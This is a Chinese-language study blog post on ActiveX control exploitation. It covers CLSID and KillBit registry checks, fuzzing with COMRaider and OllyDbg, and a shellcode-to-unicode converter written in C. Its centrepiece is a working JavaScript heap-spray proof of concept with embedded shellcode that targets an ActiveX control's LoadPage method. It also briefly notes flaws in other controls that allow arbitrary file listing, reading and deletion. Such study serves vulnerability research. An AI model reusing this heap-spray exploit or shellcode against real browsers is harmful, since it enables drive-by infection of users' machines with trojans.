• activeX控件学习


    ActiveX是Microsoft对于一系列策略性面向对象程序技术和工具的称呼,其中主要的技术是组件对象模型(COM)。在有目录和其它支持的网络中,COM变成了分布式COM(DCOM)。


    先前 学习的  ACX控件 溢出


    通过一个精心构造的 exploit第三方软件中的activeX已经成为  “网马” 惯用的 手段

    一些控件封装着一些逻辑较为复杂的方法,并通过  网页中的脚本经过浏览器诶调用执行。

    因此控件攻击的大多是通过在网页中插入非法调用的脚本来实现

    EG: flash脚本

    <object classid="clsid:D27CD```````"> codebase= "`````" width=""  height ="">
    ````
    <embed src="1.swf"  ````````>
    </object>

    重要的地方为 object 这个html 标签。当用户使用浏览器访问包含这段代码的网页文件时,用户的浏览器在解析到 "object"这个标签是,就会自动调用系统的flash 控件 从而播放1.swf

    每一个ACX控件在被注册进入操作系统之后,就会在注册表中建立一个用来表示自己,这个键值被称为 "CLSID"

    可以在注册表 HKEY_CLASSES_ROOTCLSID  找到,全部的 ACX控件

    其实只关注 被浏览器加载的那些ACX控件,这类信息可以去 HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerActiveX Compatibility 下查看

    1)查看  一个ACX 控件必须被标记为 可安全执行脚本(as safe for scripting) 可以查看  对应的 CLSID项下是否有 Implemented Categories 选项即可 

    EG:   HKEY_CLASSES_ROOTCLSID{00021401-0000-0000-C000-000000000046}Implemented Categories

    除了 safe scripting 外,微软还提供了KillBit 的机制来阻止ACX控件被浏览器自动调用,MSDN表示,KillBit是ACX控件的兼容性标志位

    2)浏览器首次调用时会给出一个提示警告,用户在确定并同意后,浏览器才会下载安装该ACX控件

    当 “可安全执行脚本” 被取消时,IE会用警告消息提示您,该ACX控件可能不安全,根据选择热可能被调用,

    但是当启用Killit后 ,只要不启用 “对未标记为安全的ACX控件初始化并执行脚本”  选项,IE就不会调用该克难攻坚。所以ACX被设置了KillBit他就很难再被浏览器调用了

    设置KillBit 方法:  Compatibility Flags  值设为  0x400,  WIN7  64  几乎全是····



    OLEVIEW  可以查看 系统中已经注册的 ACX控件的用户接口,打开OLEVIEW程序,其中有一个TYPE LIB 选项,该选项包含了注册过的所有ACX控件信息


    示例:

    <object classid="clsid: 05792C8E-941F-11D0-8529-00C04FD8D503" name="evil">
    </object>
    <script>
    evil.name = "xxx";
    </script>

    1)建立一个字符串/数字变量
    2)字符串-》超长字符串,数字变量-》0/负数/小数/超大数字
    3)依照被测试控件的接口需要的参数形式传递给用户接口
    4)保存代码,放置在该测试魔板到 WEB服务目录下
    5)OD 挂接IE ,通过浏览器访问测试魔板文件
    6 OD监视到发生错误····

    测试 ACX工具:

    COMRaider 

    AxMan   ie6.0

    AxFuzz   学习源码 学习怎么编写ACX


    COMRaider  学习:

    regsvr32  C:iDefenseCOMRaidervuln.dll




    得到两个文本 显示 ACX的信息


    可以设置OD  调试了

    默认生成的  脚本为 VBS

    ············································································································································································································

    网页木马  利用网页脚本代码编写出来的,通过浏览器本身或者ACX控件漏洞,实现向用户系统安装木马病毒程序目的的网页文件

    ············································································································································································································

    怎么去寻找一个程序的  ACX控件:

    可以监视 生成的  WINDOW/SYSTEM32/下的DLL    因为ACX控件都要保存在这里吧?····


    示例  : 超星阅读 查找


    DispCallFunc  函数 进入 ACX控件····················



    编写  ACX  POC  时  要注意啊   这个是UNICODE的  不能直接复制  ASCII 码

    写了个转换 程序:

    #include "stdio.h"
    #include <windows.h>
    char popup_general[]=
    "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
    "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
    "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
    "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
    "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
    "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
    "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
    "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
    "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
    "x53"
    "x68x64x61x30x23"
    "x68x23x50x61x6E"
    "x8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8x90x90";//168 xp sp3
    
    void encoder (char* input)// bool display_flag
    {
    	int i=0,len=0;
    	unsigned char * output;
    
    	len = strlen(popup_general);
    	output=(unsigned char *)malloc(len+1);
    
    
    	for(i=0;i<len;i++)
    	{
    		output[i] = popup_general[i];
    	}
    
    
    	FILE *fp2 = fopen("2.txt","w+");
    
    	printf(""");
    	fprintf(fp2,""");
    	len = strlen((const char *)popup_general);
    	for(i=0;i<len;)
    	{		
    		printf("\u%0.2x",output[i+1]);
    		fprintf(fp2,"\u%0.2x",output[i+1]);
    		printf("%0.2x",output[i]);
    		fprintf(fp2,"%0.2x",output[i]);
    		i += 2;
    		if(i%16==0)
    		{			
    			printf(""+
    "");
    			fprintf(fp2,""+
    "");
    		}
    	}
    	printf("";");
    	fprintf(fp2,"";");
    	fclose(fp2);
    }
    void main()
    {
    	encoder(popup_general);
    	getchar();
    }


    pe() 编码的字符串进行解码。 举个例子就清楚了··················

    <script type="text/javascript">
    
    var test1="Visit W3School!"
    
    test1=escape(test1)
    document.write (test1 + "<br />")
    
    test1=unescape(test1)
    document.write(test1 + "<br />")
    
    </script>

    输出:

    Visit%20W3School%21
    Visit W3School!

    2)substring() 方法用于提取字符串中介于两个指定下标之间的字符。



    HeapSpray    一般会将EIP 指向堆区的 0x0c0c0c0c 然后用 JS 申请大量堆内存,并用包含着0x90 和shellcode的“内存片” 覆盖这些内存

    JS 会从内存低地址 -》 高地址分配内存,因此申请的内存超过 200M (200M = 200 * 1024 *1024 = 0x0c800000 > 0x0c0c0c0c)

    0x0c0c0c0c 会被含有 shellcode 的内存片 覆盖,只要内存片中的  0x90能命中 0x0c0c0c0c 位置,shellcode就能运行


    覆盖256字节后 发现EIP   所以构造如下   将  EIP  构造为  0xc0xc0xc0xc  

    JS POC 代码:

    <object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' /></object>
    <script>
    var nop = unescape("%u9090");
    var shellcode=
    "u68fcu0a6au1e38u6368ud189u684fu7432u0c91"+
    "uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332"+
    "u7568u6573u5472ud233u8b64u305au4b8bu8b0c"+
    "u1c49u098bu698buad08u6a3du380au751eu9505"+
    "u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598b"+
    "u0320u33ddu47ffu348bu03bbu99f5ube0fu3a06"+
    "u74c4uc108u07caud003ueb46u3bf1u2454u751c"+
    "u8be4u2459udd03u8b66u7b3cu598bu031cu03dd"+
    "ubb2cu5f95u57abu3d61u0a6au1e38ua975udb33"+
    "u6853u6164u2330u2368u6150u8b6eu53c4u5050"+
    "uff53ufc57uff53uf857u9090";
    
      while (nop.length < 0x100000/2) 
    {nop += nop;}
    
    nop=nop.substring(0,0x100000-32/2-4/2-2/2-shellcode.length);
    nop =nop+ shellcode;
      var memory = new Array();
      for (var i=0;i<200;i++) 
    {memory[i] += nop;}
    
    var str = '';
    while(str.length <256) {str += 'x0ax0ax0ax0a';}
    str +=   "x0cx0cx0cx0c" ;
    target.LoadPage(str, 1, 1, 1);
    </script>


    第二个实验为   目录操作权限的 漏洞

    COMRaider 看到  open 函数

    利用OCX 的 open 函数  打开 来判断文件系统中是否存在某个特定文件,相当于开放了文件系统的列目录权限


    第三个实验 文件读权限 漏洞

    COMRaider 看到  safe for script    killbit false

    用户接口 发现 read 和 save


    第四个实验  文件删除权限漏洞

    卡巴 的控件 提供了一个 DeleteFile 接口 发现可以删除任意文件

























  • 相关阅读:
    windows平台下一款强大的免费代理获取工具
    彻底搞懂Git Rebase
    line-height
    text-indent
    text-decoration
    text-align
    color
    CSS属性汇总
    font
    font-style
  • 原文地址:https://www.cnblogs.com/zcc1414/p/3982358.html
Copyright © 2020-2023  润新知